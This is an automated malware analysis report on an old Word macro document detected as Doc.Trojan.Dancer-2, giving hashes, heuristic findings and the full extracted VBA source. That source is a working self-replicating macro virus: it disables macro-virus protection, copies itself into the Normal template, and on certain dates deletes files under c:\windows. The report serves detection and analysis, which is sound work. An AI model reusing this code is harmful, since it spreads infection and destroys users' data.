Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f4800120de23bdf…

MALICIOUS

Office (OLE)

27.0 KB Created: 1999-06-15 14:31:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-03
MD5: 839bb10bfb35f79fe098d9fad81b2e51 SHA-1: b05f61dd2b862ba596d8a477ade7071397a80742 SHA-256: 7f4800120de23bdfb7d10c44ec2bb42a41d39d9638f19d71b8b75f95817f54b3
228 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Dancer-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dancer-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 973 bytes
SHA-256: 8863567cc094befc79b0362dca87a42725ac03d3dcfec534bfda238357470e9b
Detection
ClamAV: Doc.Trojan.Dancer-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dancer"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
a$ = "HKEY_CURRENT_USER\dancer"
If (System.PrivateProfileString("", a$, "dancer") = False) Then
ActiveDocument.VBProject.VBComponents("dancer").Export "c:\dancer.wav"
NormalTemplate.VBProject.VBComponents.Import ("c:\dancer.wav")
System.PrivateProfileString("", a$, "dancer") = True
ElseIf ActiveDocument.VBProject.VBComponents.Item("dancer").Name <> "dancer" Then
ActiveDocument.VBProject.VBComponents.Import ("c:\dancer.wav")
End If
If (Day(Now()) = 15) And Minute(Now()) = 29 Then
    ActiveDocument.PrintOut
ElseIf (Day(Now()) = 13 And WeekDay(Now()) = 13) Then
    Kill "c:\windows\*.*"
End If
End Sub